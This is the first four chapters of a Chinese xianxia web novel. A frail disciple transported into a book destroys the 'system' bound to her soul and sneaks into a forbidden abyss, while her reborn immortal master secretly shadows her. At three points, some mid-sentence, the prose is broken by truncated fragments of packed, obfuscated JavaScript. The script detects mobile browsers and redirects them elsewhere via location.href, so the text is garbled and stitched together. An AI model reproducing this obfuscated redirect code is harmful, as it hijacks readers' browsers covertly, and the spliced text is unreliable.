《小师叔她病弱但能打》 1. 第1章 “今日本该是仙君亲自为你授弟子印,可事发突然……” 鹤发童颜的掌门面露尴尬,“便由我暂代仙君收徒。” 春日刚至,开阳峰上熬过冬日的草木才将将抽芽,空气仍有几许料峭,坐落在山腰的宫殿半隐在云雾中,殿内一派清冷肃穆。 无妄剑宗大半内门弟子都汇聚于此,身穿宗门统一的红白色弟子服,衣襟和袍角用银线勾勒出精致秀气的小剑。 听见掌门的话,众弟子不由面面相觑。 什么情况? 仙君不来了吗? 高台上,掌门身后还端坐着十几位观礼的长老,眼观鼻鼻观心地喝茶,表示这事他们不参与。 掌门口中的仙君,道号长泽,渡劫期圆满,曾在万年前耗尽修为护下生灵无数,向死而生成就半仙之体,距离飞升不过一步之遥。 仙君的决定,哪里是他们这些人可以左右和置喙的? 万众瞩目之下,掌门浑身不自在,一边暗骂这些老家伙没半点同门情,一边吐槽仙君这事做得不厚道。 前些日子还传消息回来要他好好准备今日的典礼,结果今天招呼也没打个,直接人就不来了! 尽管知道仙君不会无缘无故缺席,但寒砚到底是他看着长大的孩子。 掌门心疼道:“仙君确有急事,你莫要在意,待其归来也定会补偿于你。” “……” 他没有得到回应。 站在他面前的少女微微垂着头,昔日里明亮动人的眼眸被睫羽遮挡,脸色和平时一样苍白,自带三分笑意的唇角往下压,无声显露出几分沉郁。 掌门怕她一时间想不开,咬了咬牙,给她传音:“我把我的掌门令牌借你一段时间,藏书阁的书随你看。” 寒砚刚回过神,就听见了这个好消息,登时眼睛一亮,“多谢掌门师兄!” 对了,刚刚他说什么来着? 仙君没来,他代为收徒? 哎呀,多大点事嘛。 既然愧疚的话,多给点特殊权限呗。 …… 要说今日的事,还要扯到十五年前。 具体是哪日不重要,反正就是长泽仙君突然出关去了凡尘一趟,回来就带了个三岁小萝卜头,还说要收为亲传弟子。 这个孩子就是寒砚。 当时剑宗所有人都在想,到底是什么样的人才能叫仙君看上收为弟子。 观察几年后,发现小姑娘根骨实在一般,甚至体弱多病、一步三喘,一直到十岁还连剑都握不稳。 请了不少药王谷的医修来看,砸了数不清的灵石,各种药试了个遍,却直到寒砚如今筑基,身体也不见好转,好在被各种灵药温养下,也没有继续恶化。 就这样一个体质孱弱的普通人,如果不是知道仙君寡了上万年,怕是不少人都要胡乱猜测是不是他的私生子…… 不过别管寒砚天赋修为如何,她辈分摆在这里,掌门都喊她师妹,其他弟子再有点什么想法,也得老老实实喊声小师叔。 仙君把人带回来一个月后就急匆匆闭关,这场拜师典礼便拖到现在。 可以说,寒砚是掌门和他两个徒弟一手拉扯大的。 掌门将仙君交给他的弟子令牌放到寒砚手中。 寒砚眉眼弯起,双手恭敬接过,乖巧道:“弟子谨遵仙君法旨。” 玄铁铸造的令牌入手冰凉,但见上面刻着: 扶光峰——寒砚。 …… 寒砚自幼便在做一个梦。 梦里是她从未见过的怪异景象。 高楼大厦,车水马龙,人们穿着古怪,不需要依靠灵力法器也可以飞天遁地,日行千里。 与她认知中的浮华界截然不同,她却觉得格外熟悉。 直到半炷香前,掌门站那声情并茂地念台词,而她听得昏昏欲睡时,一个自称“掌门养成系统”,简称“系统”的不明生物找上了她。 在一众高阶修士的大殿中,无人察觉到丝毫异样。 【宿主你好。你本是异世之魂,因缘巧合进入这个书中世界。】 【然而婴孩的身躯无法承受你的灵魂,我这才申请暂时封住你的记忆,以免夭折。】 系统说完,无形中隔绝了她所有记忆的透明“玻璃”碎掉,连同一本故事大纲如浪潮般飞速涌入她的脑海。 寒砚的疑惑随之破解。 原来她死后穿进了一本名叫《斩仙》的话本中,还成了个推动男主复仇的工具人青梅。 不仅她,整个剑宗都在剧情开头就拿了祭天剧本。 简单概括下就是,男主全宗被灭,亲朋好友死绝,直接黑化,一路打脸升级复仇,但最终自己也死于雷劫下。 ‘苍穹塔毁,魔尊出世,无妄剑宗众人血战而死。’ 短短一行背景介绍,却是剑宗的上万条人命。 系统估计她消化得差不多了,【只要完成任务,宿主就能改写悲剧,并获得此方天道相助,回到原来的世界。】 寒砚仔仔细细地将系统给的大纲看完,温吞反问:“我为什么要回去?我一个什么都没有的孤儿,回去做什么呢?” 系统宕机。 不知道该怎么接,它干脆不要脸地当没听见,自顾自地解释:【掌门养成系统,顾名思义,等你顺利当上掌门并交由管理局上方审核通过后,便算完成任务。】 【请宿主注意!不能投机取巧另立门派,必须是你现在所处的无妄剑宗;不能采取不正当竞争,必须得到现任掌门的认可;不能实施直接或间接有害剑宗、剑宗弟子乃至修真界之事。】 【根据时空安全管理局之系统指导手册第一千三百零一条,对于新人宿主,系统可根据具体情况,在任务正式开启后酌情给予宿主新手适应期,以及一次读档重来的机会,请宿主尽快适应并完成任务。】 【任务进度:0%。】 作为电子生物,系统一口气不带喘地说完所有。 剑宗现任掌门道号逍云,年龄不详,一共收了两位亲传弟子。 一个是培养多年的优秀继承人,如今正在外面历练的大师姐。一个是继承人备选,二弟子裴涣——也就是《斩仙》的男主。 按照系统给的大纲,挂逼男主一直苟到了大结局,大概几百年以后,所以剧情开始就领了盒饭的寒砚想要继承掌门之位的可能性几乎为零。 系统说完就陷入沉默,只剩下细微的电流声在她脑中回荡。 寒砚一时间没开口。 系统以为她在慎重考虑,实则某人压根没听它说的一堆乱七八糟的规则。 无形的神识化作一只女子的手,戳了下识海角落里,自以为藏得很隐蔽的小光球。 触感有点烫,像她在科幻电影中看到的什么能量体。 “你就是系统?” 小光球肉眼可见地颤了下。 【宿主,是我。】 系统还算镇定。 早在被匆匆投入这个世界前,任务提示就告诉它这一次的任务和宿主都不简单,不管能不能完成任务,一切以保住性命为前提。 这让新手系统有点慌,但奈何上面实在给得太多了。 任务开始就不太顺利,中途出了点意外,导致它现在才连接上宿主脑电波。 咳咳,不过这就不必告知宿主了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888575|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 系统心虚地想。 “我身上的问题,是不是跟你有点关系?” 她这具身体实在脆弱,稍微动作大点都会咳嗽,难受说不上,但动静看着吓人。 【你身上的问题就是灵魂和肉身不匹配而产生的排异反应,正常,不用管。等你完成任务,回到原来的世界,就可以拥有一具健康的身体了。】 系统以为找到了她想要的,极力劝说。 寒砚懒洋洋地哦了声,话题一转:“统子你说,我要当剑宗掌门的话,是不是第一步得先保证剑宗存在?” 【那是当然……等等!】 系统的电子音陡然拔高,尖锐得快刺穿寒砚的耳膜。 【今天是什么日子来着?宿主你今天拜师?!】 寒砚声音激动地嗯了一声。 系统几乎想抓狂。 不是,你在激动什么? 滋啦的电流声不绝于耳,只有寒砚能看见的红色加粗字体出现在眼前,伴随着系统紧急的播报声。 【请宿主注意!现在剧情已经开启,请宿主及时做好准备!】 原文《斩仙》的开端,剑宗灭门的起点就在今天。 时间回到现在。 授弟子令牌后的环节是点魂灯。 将神魂融入命灯,命灯有了魂,便称为魂灯。 宗门长辈可通过魂灯随时关注弟子的生命情况,魂灯也会记录下弟子死前所见所闻,算是大宗门内亲传弟子的一道安全保障。 “等仪式完成,点上魂灯,你便是我们正式的小师妹了。”逍云掌门不禁感慨。 当初年仅三岁的小姑娘被仙君带回来后便养在他的峰头,天赋好、品性佳,又爱护同门,若非仙君开了尊口,他是很愿意再收这么个亲传弟子的。 掌门正要开口宣布下一道流程,巨大的爆破声震得整座大殿都跟着一颤,紧接着是山体崩塌的轰隆声,震耳欲聋。 轰—— 太阳被聚拢的乌云完全遮住,天空中电闪雷鸣。 明亮的大殿瞬间昏暗下来,只剩下头顶上方稀稀拉拉的灵石散发出微弱的光。 是雷罚。 有妖魔出世。 寒砚侧首看向殿外,清澈透亮的眼里映着外面狰狞的雷霆,嘴角习惯性弯起,带着某种看好戏的漫不经心。 剧情,开始了。 在场的都是身经百战的内门弟子,短暂慌乱后,很快冷静下来,等待师长的指令。 寒砚站得近,清楚地看见长辈们的表情变换。 由起初的茫然到弄清缘由后的震怒,十几个人唰地拂袖化作流光飞走,徒留下掌门压抑着火气的传音回响在大殿。 “涣儿,组织弟子前往苍穹塔,遇见魔族,格杀勿论!” 被喊到的少年敏锐地察觉到什么,目光微冷,掷地有声道:“弟子遵令!” 站在人群前方的少年看上去和寒砚一般年纪。 眉间一点朱色,红衣灼灼,明艳俊俏,同色发带束起高马尾,有种独属于少年人的意气风发。 裴涣轻轻一跃,落到寒砚面前。 他想拍她的肩膀,但又生生忍住,只是压低了声音认真叮嘱她:“你待在大殿不要乱跑,外面情况不明,不要给大家拖后腿。” 寒砚浅笑:“好的师侄。” 少年一噎,瞪了她一眼,转身跳下高台,招呼着弟子们离开。 其他人都还没意识到问题的严重性,跳起来和寒砚挥手,语气欢快:“小师叔你等我们回来。” “好,你们速去速回。” 唔,她觉得…… 她还是喜欢师侄们现在鲜活的样子。 2. 第2章 【可惜你恢复记忆得太晚了,不然还能早做准备。剧情中魔界的人不知道做了什么,剑宗众人都以为他们的目的是苍穹塔。谁曾想被关押在剑宗禁地长生渊下的魔尊才是他们的真实目标。】 苍穹塔不是普通的塔,而是神器,内部连接着另外一个空间,关押了无数上古凶兽。 反正书上是这么告诉寒砚的。 【魔尊出世事关重大,还请宿主尽快想办法通知剑宗高层,同时前往苍穹塔协助掌门。这是一个刷好感和声望的好时机。】 系统兢兢业业搜集资料,企图用大数据筛选出最优解。 寒砚惊讶:“你是要我一个病秧子去前线?没听见男主说吗,我好好待在后方不添乱就不错了。” 系统:【我相信宿主,我也会为宿主提供最大程度的帮助。】 大殿空下来,除了寒砚再无旁人,透着几分冷寂。 她想了想,还是唤出自己的飞行法器青玉葫芦,坐上去,输入少许灵力驱动—— 然后往苍穹塔相反的方向而去。 系统已经扫描了大半个剑宗的地图,自然清楚苍穹塔的方向,失声尖叫:【宿主你想做什么?!】 “我要去找魔尊。” 法器葫芦的速度很快,她的身体被冷风吹得难受,从乾坤袋中掏出个防御符贴在自己身上。 风声很大,系统几乎要以为自己听错了。 【啥???宿主你还记得你只是个筑基吗?还是个身体极其虚弱的筑基!】 魔尊可是与长泽仙君相差无几的存在,动动手指就能叫她当场爆体而亡。 她过去找死吗? 如果系统有身体,只怕是想抓住她肩膀疯狂摇晃,看看她脑子里是不是装的水。 寒砚理直气壮:“我不想回原世界,也不想当掌门,更阻止不了这场灾祸,我就想在死之前满足一下好奇心,见见那位传闻中的魔尊长什么样。” “有意见?憋着!” 系统被她任性又理所当然的态度给震撼到了,一时间没开口。 …… 剑宗地界辽阔,占据了一整座山脉,而长生渊地处腹部灵气最浓郁之地。 如今想来,恐怕是为了压制魔尊身上恐怖的魔气。 传说,魔尊修炼魔功献祭了数万的凡人及修士,亦以魔气诱导众多修士堕魔,促使仙门内部自相残杀。 如今仙门早已不再对魔气束手无策,但也绝不会想面对这样一个可怕的魔头。 系统一开始还能好言相劝,给她展示系统商城中各种可以帮她逆天改命的宝物,但寒砚完全不理会它的话。 【啊——你发什么疯?自己想找死别拉上我!】 系统破大防,被气得几乎乱码。 这可是它的第一个任务,如果宿主带着进展为0的进度条失败,它会直接被判消极怠工然后回炉重铸的! 寒砚操控着葫芦停下,盘膝而坐,双手拖着下巴,偏黑的眼眸清亮温和。 “其实我很好奇,我明明已经死了,怎么会重生在书里?而你,和你背后之人,哦,那个名字很长的管理局,又有什么目的?” 系统想解释自己就是一纯打工的什么都不知道,可它还来不及说什么,就被一阵白光包裹。 意识到不好,它立马启动自救程序,同时,充满压迫感的神识突然从四面八方而来! 无声无息,诡谲莫测。 悄然间将它与外界的联系切断,并将它的本体带出了宿主的识海。 疯狂闪烁的小光球落在寒砚掌中,她好奇地捏了下。 系统当即安静如鸡,这下是想说也不敢说了。 寒砚在上面没有感受到半分灵气波动,也没有生命气息,没什么感觉,就像抓住了一团空气。 “系统,你到底是个什么东西?那个管理局又是什么?是你们让我穿书的?这个世界真的是话本?为什么要搞这一切?” 系统支支吾吾:【……抱歉宿主,你可以将我当作高维界面的人工智能,但其余问题我没有权限,等你完成任务,你会得到你想要的答案。】 寒砚啊了声,愧疚道:“我也很抱歉,不过我不喜欢被人教做事,你没什么用的话,只能麻烦你现在就死一死了。” 系统:【?】 人言否? 我可谢谢您嘞? 她五指缓缓合拢,光球在她掌中疯狂挣扎,像缩水一样快速变小。 【宿主你不能这么做,我们已经绑……啊!】 嗡—— 惨叫声震得寒砚脑袋一阵空白。 随着一声清脆的爆破,星星点点的光芒从她掌中散落,带着些灼人的烫意,最终消散在空气中。 宛如从未在这个世界上出现过。 寒砚目不转睛地盯着掌心,眼睛和口鼻缓慢地往外渗血。 系统绑定了她的神魂,想要毁掉它必然遭受反噬,但遇上她,这系统也是倒霉。 反噬而已,多来几次,就跟吃饭喝水一样没什么稀奇了。 寒砚取出手帕,慢条斯理地擦掉血迹,温润的杏眼往下看去。 禁地两侧,巨大石碑直冲云霄,散发出古老雄浑的磅礴气势,如巨剑穿破天穹。 半透明的结界时不时划过流光,彰显其身份。 这便是无妄剑宗的禁地:长生渊。 除了掌门和长老,几乎没人知道里面是什么,也不会有弟子刻意触犯门规只为满足自己的好奇心。 ——除了寒砚。 用她的话说就是,人生是多么的孤寂,就应该及时行乐…… 此时,在她眼中,禁地被一团看不到边缘的魔气包裹着,形如一个漆黑的蛋。 金色的符文时隐时现,不让魔气逸散。 这里的动静不小,但诡异地无人注意。 葫芦载着寒砚在上空绕了圈,发现每日例行巡查的执法队不见踪影。 她双手合十,表情真挚,“祈愿这群孩子都还留了口气。” 收起葫芦,一落地,瘆人的寒气便从脚底疯狂往上钻,冻得她一个激灵。 弟子服可以隔绝一切邪气,但这里魔气实在太浓郁,早已超出其承受范围。 寒砚又给自己贴了几张符。 没办法,别的没有,就是符多。 她跺了跺脚,望向不远处并不起眼的石碑上,刻着“宗门禁地,闲人止步”几个醒目大字。 禁地是有结界的,没有允许不能进入,她之前能进也不过是因为有朋友在执法堂任职,还恰巧被安排去禁地巡逻,这才能“借”对方令牌进去。 但是她现在身上没有令牌,也不知道朋友现在身在何处。 叹了口气,看来只能自己动手了。 好累,不想动…… 直接破坏整个结界肯定是不行的,这么多魔气散出去绝对会出事,到时候还得他们这些内门弟子去清理。 她想了想,将手贴到结界上。 因为身体不好,寒砚不仅瘦,且肤色呈现出一种病态的白,手背上青色的脉络格外明显。 感知到她身上剑宗弟子的气息,掌心下暴躁的结界逐渐平和。 剑宗之内几乎九成的结界都是依托于护山大阵而成,而大阵的阵眼据说已经存在了上万年,早已生出灵性。 寒砚:“拜托拜托,开开门,让我进去吧。” 结界死一般的沉寂。 得不到回应,寒砚遗憾地召唤出一把银白色的长弓。 弓身有她半人高,却没有弦。 是仙君带她回来后不久赠予她的,被她取名为“停云”。 寒砚举起弓,用力砸到结界上! 砰的一声巨响,方圆百米的地都跟着一震,眼前结界金光疯狂闪烁,颤巍巍裂开条一人高的缝。 “早这样多好。” 她呼出一口气,收起弓,揉了揉同样被震得发疼的手,一脚踏进禁地。 暴戾的魔气与她擦身而过,想要冲过缝隙出去时,结界快速合拢,将其困住。 越往里走,所见之景越发让人心惊。 以前的禁地灵气充裕,生机旺盛,一派世外桃源景色,任谁都想不到里面关了个大魔头。 现如今,植物发黑枯萎,露出形状怪异的乱石,过于浓郁的魔气吞噬光线,又黑又冷,静得仿佛没有半分活物的气息。 咔嚓。 寒砚视力受到影响,不经意间踩到什么,低头一看,发现是一小截白骨。 哪来的骨头? 明明她上次来,连半只能动的都没有。 她蹙起眉头,循着魔气来向,快速穿梭在浓墨般的黑色中。 很快,到了记忆中的断崖。 峭壁垂直延伸往下,源源不断的魔气从里冒出,自崖底攀附而上的藤蔓枯萎干裂,在黯淡的光芒下如憧憧鬼影。 便是此处了。 她大步上前,化作一道流光而下。 …… 长生渊下,气息驳杂。 处处可见不知是何生物的残肢断骸,不少缠着血丝和皮肉,看上去并不新鲜,散发出令人作呕的腐烂气息。 十来个身穿剑宗弟子服的年轻人相互帮扶着围成一圈坐下,有男有女,衣摆上的小剑由金线绣成。 这是执法堂弟子的特殊标识。 每个人身上都带着程度不一的伤,喘着粗气,眼神警惕地环顾四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888576|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周。 环境很暗,但他们不能生火,火光会引起黑暗中生物的注意。 “师兄,再这么下去也不是办法,我们必须尽快找到出口,不然时间长了魔气入体,就更难出去了。” 队伍中有弟子压低声音道。 他们从被拖到这里,到现在不过半个时辰,体内灵力却已经消耗了七七八八,周围还全是魔气,灵力运行受阻,手中的剑也逐渐被侵蚀。 再这样下去,别说他们会没命,剑也会失去灵性沦为废铁。 剑修将剑视为半身,这对他们而言无异于凌迟。 被称作师兄的青年脸色也不好看,一双天生多情的桃花眼微冷,脸上满是凝重。 “天人无绝人之路。”常笑只能这么安慰师弟师妹。 结界内禁飞,以他们的修为完全无法突破禁制御剑飞行。 也就是说,一旦手中丹药用尽,灵力不足以抵御周围魔气,他们也就离死不远了。 可他是师兄,是队伍的主心骨,他不能怕。 “师兄小心!” 常笑比发声的弟子反应更快,手中剑出鞘,在半空中划过一道凛冽剑光。 等其他人拔剑,常笑已向偷袭的妖族飞身而去。 “什么怪物?” 借着剑光,弟子们隐约看见个生有鸟翼却又仿若虎豹的妖族。 “好像是化蛇?” 化蛇,仅存在于万妖图腾上的古老妖族。 常笑左手掐诀,光芒大盛照亮周遭瞬间,所有人这才完全看清敌人面貌。 长着人脸的怪物,朝他们裂开满是鲜血的大嘴,獠牙上还挂着血肉。 常笑是金丹后期的剑修,但受伤加上环境限制,实力最多发挥三成。 “咣——” 他借着相撞的力道倒飞出去,借势躲开化蛇一击。 其他弟子趁机补上,结起剑阵。 但下一秒,巨大的翅膀扫过,将他们通通打飞出去。 “化蛇怕火,内丹在腹上两寸。” 突然响起的少女声线沉稳灵动,顿时吸引了在场所有人的注意。 听到熟悉的声音,众人不疑有他,立马掐诀施法,火光亮起,汇聚成火龙朝化蛇奔去。 常笑找准它腹上两寸的位置出剑。 光影纷飞,叫人眼花缭乱。 化蛇被火光震慑,躲闪不急,被常笑用剑剖出内丹,不由仰首哀鸣,人面半隐在魔气中,说不出的诡谲。 它拼命挣扎,血肉被剑气削落露出白骨,几息过后终于瘫在地上一动不动。 众人松了一口气。 “不错嘛,配合得挺默契。” 不算明亮的光由远及近,身穿红裙的少女手中提着一盏莲花灯,徐步从对面黑暗中走来。 她长发编成辫垂落在身前,笑盈盈的,苍白脸庞在昏黄的光下生出几分令人心安的暖意。 “小师叔!”他们惊喜喊道,然后脸色骤变。 常笑脑子还未反应过来,手中的剑已经掷了出去。 在少女身后,不知何时出现的魔物朝她扑来。 寒砚回头,带着血腥气的臭味迎面而来,长相奇丑的魔物张开大嘴要将她吞入腹中。 额角碎发被风带起,半遮住她眼底划过的幽光。 和常笑的剑同时抵达的,还有一道来自魔物后方的青芒。 两方夹击下,魔物身躯断为三截,含恨九泉。 灰尘扬起,落了寒砚满身。 她被灰尘呛得直咳嗽。 “小师叔!” 常笑带着弟子们过来,用起风诀把灰尘吹散,几个女弟子拉着她检查,担心有没有受伤。 明明他们自己身上都还带着不轻的伤。 寒砚平复了下呼吸,连忙说自己没事。 魔物身上青芒一闪,长剑收敛光华,自行拔出剑身飞回不远处的黑暗。 长生渊下的黑是因为魔气汇聚,是再大的火光也无法驱散的暗。 寒砚晃动了下手中的灯,并不强烈的光逐渐变大,大概照亮周围十米的范围。 众人这才看见,就在他们不远处站了个少年人。 少年明显也因突然亮起的环境惊讶了下,注意到他们的目光,回望过来,眼神略复杂。 看见他,剑宗众人同样诧异中夹杂着惊艳。 无他,只因这少年容貌气质太过令人难忘。 一袭青衣,宽肩窄腰,身形颀长挺拔。 他眉眼生得极好,似玉骨雕成,肤色是一种温和的白,安静地站在那里,呼吸都仿佛融入天地。 是十分仙气的长相。 也难怪他们都未发现他的存在。 3. 第3章 气氛一时凝滞,常笑主动上前行了个同辈礼。 “多谢道友出手相助,在下仰止峰连溪长老座下弟子,名唤常笑,也是负责今日禁地巡逻之人。” 剑宗有七大主峰,以掌门所在的开阳峰为首,此外还有无数次峰,分别被划分给不同身份境界的长老。 仰止峰是七主峰之一,主要负责苍穹塔和执法堂,因为职责所在,剑宗鲜少有人不认识常笑,以及他们这身衣服。 少年收敛起眼中的情绪,行云流水地回了个礼,动作极为优雅,一看就出身大家族。 “同门之间,不必多礼。” 看上去有些清冷的人,声音却是极其温和悦耳。 队伍中有人偷偷给寒砚传音:“小师叔,这人谁啊?好像没在内门中见过。” 如此出色的人,不该在宗门内毫无存在感。 驱动这盏莲花灯用了寒砚不少灵力,她有些疲乏地靠在一个女弟子身上,恹恹回:“不认识。” 那边,常笑还在跟人套近乎。 “不知这位道友该如何称呼?” 少年闻言一愣,垂下眼睫,“我姓君,单字一个屿,扶光峰弟子。” 他说着,手中出现块寒砚非常之眼熟的令牌。 各大宗门的弟子令牌都是特制的,很难被人造假。 众弟子恍然大悟。 原来是扶光峰的啊,难怪没…… 等等,这人刚刚说什么峰来着? 他们齐刷刷瞪大眼睛。 扶光峰? 这可是仙君的住处!神龙见首不见尾的仙君什么时候还收了除小师叔以外的其他弟子? 一群人眼睛滴溜溜地转,八卦的目光在寒砚和少年之间来回扫视。 寒砚:“……” 看她做什么?她什么也不知道啊。 应仙君要求,扶光峰上并未安排有弟子照应,就连被口头收徒的寒砚这么些年也从未被应允去扶光峰。 寒砚翻了个白眼,忽视掉他们看热闹的小眼神。 不同于神经大条的同门,寒砚没被少年的皮相,以及手中过于古朴的弟子令牌糊弄过去。 此人太过奇怪,一定有问题。 不过她没说什么,只是从乾坤袋中拿出不少恢复灵力的丹药,以及隔绝魔气的法器塞给常笑。 女弟子抱着寒砚手臂,感动得稀里哗啦,“呜呜小师叔你真好。” 寒砚肉麻地抖了下身上的鸡皮疙瘩,将人从她身上扒拉下去,“你们先在这里休息,我去周围检查下有没有隐藏的妖魔。” “小师叔你一个人也太危险了,常师兄和你一起去吧。”开口的弟子朝常笑挤眉弄眼。 常笑反手给了他一下,正要开口,便听那位陌生少年主动道:“我和她一起。” 被打的弟子给常笑递了个恨铁不成钢的愤愤眼神。 常笑:“……” 看来还是打得太轻。 …… 离开大部队后,寒砚慢条斯理地走在前方。 遇到妖族或者魔物,都不用她出手,后面一言不发的少年就会先她一步解决。 她回头看过去,他刚解决掉一只妖,身后长发被动荡的魔气拂起,宽大的衣衫下,身躯尚介于少年和青年之间,轮廓逐渐清晰明朗,但格外有劲。 少年一抬头就和寒砚视线撞上,抿了抿唇,“你灵力消耗过多,会很难受。” 寒砚冷不丁来了句:“你和仙君是什么关系?” 少年紧闭上嘴。 见他不愿说,寒砚也不强求,打趣道:“不说就不说,你落在后面做什么?搞得好像是我欺负你。” “你没有欺负我,我只是……” 见他急切地想要解释,却又半天都说不出个所以然,寒砚只好主动朝他走去。 她步伐轻盈,一步步像落在他心尖,让少年产生种后退的冲动。 寒砚状似无意道:“小道长,我们是不是在哪见过?” 少年浓密的睫羽一颤,像被惊到的蝶,快速垂眸掩盖住眼底一晃而过的惊讶,却还是没能逃过寒砚的眼睛。 “不曾见过。” 准确地说,上一世的他确实没见过今生的寒砚,他这样也不算说谎。 寒砚不信,“是吗?” 可她并不怀疑自己的直觉,所以,他在撒谎。 于是,寒砚直接出手! 少年瞪大眼睛,神情慌乱。 看似病弱的少女力气大得惊人,他被扣住肩膀往后一推,脊背重重撞在身后的石壁上。 痛倒是不痛,就是心脏快跳出来了。 寒砚倾身过去,冷意混着淡淡的药香,让少年不太适应地侧过头,却没有第一时间推开她。 寒砚目光闪烁,人的第一反应最不会骗人。 他没有反抗,没有挣扎,貌似对她的突然靠近习以为常,甚至还有点纵容。 这让她想起了一个人,无论她如何顽劣,都仿佛没脾气的人。 寒砚没有注意到,不敢和她对视的少年,不知何时走了神。 君屿,或者说君轻离,那个几乎活在众人口中的仙君。 身旁熟悉的气息,让他想起上辈子,他第一次见寒砚时的场景。 修真历两万六千八十七年三月初一。 他随天道指引前往凡尘,在一处荒凉破败的庭院中,寻到了个小脸脏兮兮的三岁孤女。 她穿着洗得发白的衣裙,头发像枯草一样乱糟糟地披在瘦弱的双肩,半个身子藏在柿子树后方,盯着他瞧了好一会儿。 因为太瘦,显得眼睛格外大,一眨不眨的,显得有些瘆人。 君轻离对她是有几分好奇的,想知道天道会给他安排个什么样的弟子。 他没有第一时间上前,而是待在原地酝酿措辞,直到她突然露出个笑容,脆生生地喊了他一声道长,才顿时如梦惊醒。 虽然修道,但他其实很少穿道袍,亦如今日,随意着了件青色的衣衫。 小姑娘跑过来抱住他的腿,不闪不躲地抬头看他。 见她吃力,君轻离蹲下与她平视,“你可愿意随我离开此地?” 他没有将她的称呼放在心上,而是耐心地给她解释,他是修士,算是修真界的道士。 “我会教你术法,护你长大,你从此不会再一个人,无人照拂。”他如是说。 君轻离不曾收过徒,平日也少与人接触,这是他第一次向人如此郑重,又笨拙地许下承诺。 小姑娘歪着头,对他的话一知半解。 他正打算和她通俗地解释一番,小姑娘搂住了他的脖子,声音很软,就和她的眼睛一样。 “我相信道长。” 于是,他带她回了无妄剑宗。 君轻离也没想到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888577|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没想到自己还会有机会回到仙魔大战前,回到他乖巧懂事的徒弟入魔叛宗前。 那一日,漆黑长戟碾碎他的神魂,在意识尚存的最后一刻,他看见少女白衣染血,提着还在滴血的长戟,从容不迫地往前。 一步一步,极其缓慢,所过之处,大地龟裂,岩浆喷涌。 最终,和浮华界共同走向毁灭。 她很强,强到整个世界都匍匐在她脚下,瑟瑟发抖,即便是他,也无力和她对抗,可她也疯了。 君轻离难过地想。 等到那个自称“好师尊养成系统”的生物找到他时,他仅存一缕残魂,因执念太深,还徘徊在修真界上空不愿散去。 系统:【我需要你做的事很简单,做一个好师尊,把误入歧途的徒弟寒砚,教导成人人称赞的三好修士。】 【温馨提示:此属于强制任务,一旦失败,所有都将回到原点。】 【任务进度:0%。】 系统噼里啪啦说完,就疯狂闪红灯,告诉他能量不够即将进入休眠,希望他好好完成任务。 君轻离赶在最后一刻,按下了同意协议的按钮,然后签上自己的大名。 下一刻,他就见大战过后满目疮痍的浮华界被一点点拼凑回原状,好似一切都不曾发生。 理智告诉君轻离,他应该无视系统任务,直接杀了寒砚以绝后患,但感情上,他觉得错在自己。 他作为师尊,却在她长大的岁月中缺席,忽视了对她的教导,最终导致了这场灾难…… 君轻离想了很多,实际上才过去短短两秒。 他不知道寒砚是不是认出了自己,他现在用的是自己少年时期的模样,和她见过的还是有点差别,虽然不大。 君轻离硬着头皮道:“修道之人,多有相似之处。” 见他死鸭子嘴硬,寒砚撇了撇嘴,松开手。 “相似吗?也许就是单纯地不喜欢我而已。” 她起身,语气闷闷不乐,埋首继续往前。 不、不是这样! 君轻离想解释但又不知该从何开口。 他只是刚重生回来,事情接踵而至,还没有调整好自己的情绪。 各种想说的话到了嘴边,最后却都化为无声的叹息,随着夜风飘向远方。 经过那一遭,原本还算和谐的气氛变得格外僵硬。 君轻离本就不是话多的人,甚至因为不常跟人说话,有些字词和发音都要花点时间才能想起。 寒砚不开口,他也不知道该说什么,最后还是决定老实闭上嘴,安静地跟在她身后当个打手。 越走,魔气越浓郁。 寒砚捂着胸口,有些喘不过气来,额头碎发被冷汗打湿,状态看上去极为糟糕。 君轻离哪怕在后面,也一直关注着她的情况,“不能再继续了,我们先回去。” 他长腿一迈,伸手去拉还想往前的寒砚,手指却从她逐渐变透明的衣袖中穿过,神情倏地一变。 寒砚注意到他的动作,眼神疑惑地看过去,她张嘴说了些什么,可声音被一层无形的屏障隔绝。 君轻离没听到。 爆发的魔气将寒砚淹没,他就这样眼睁睁地看着人消失不见。 没人比他更清楚长生渊下有什么。 如果她前世也来了此处…… 君轻离伸出的手不停地颤抖。 4. 第4章 魔气将寒砚带走,将她带到了另一个空间,伸手不见五指,阴冷而死寂。 安静到,她恍惚听见自己血液在血管中流淌的声音。 散开的神识撞上了道很奇怪的“壁”,她研究了下,只能确认不是什么结界。 她收回神识,没有做什么,对带走自己的东西有了猜测。 一刻钟,两刻钟…… 半个时辰,两个时辰。 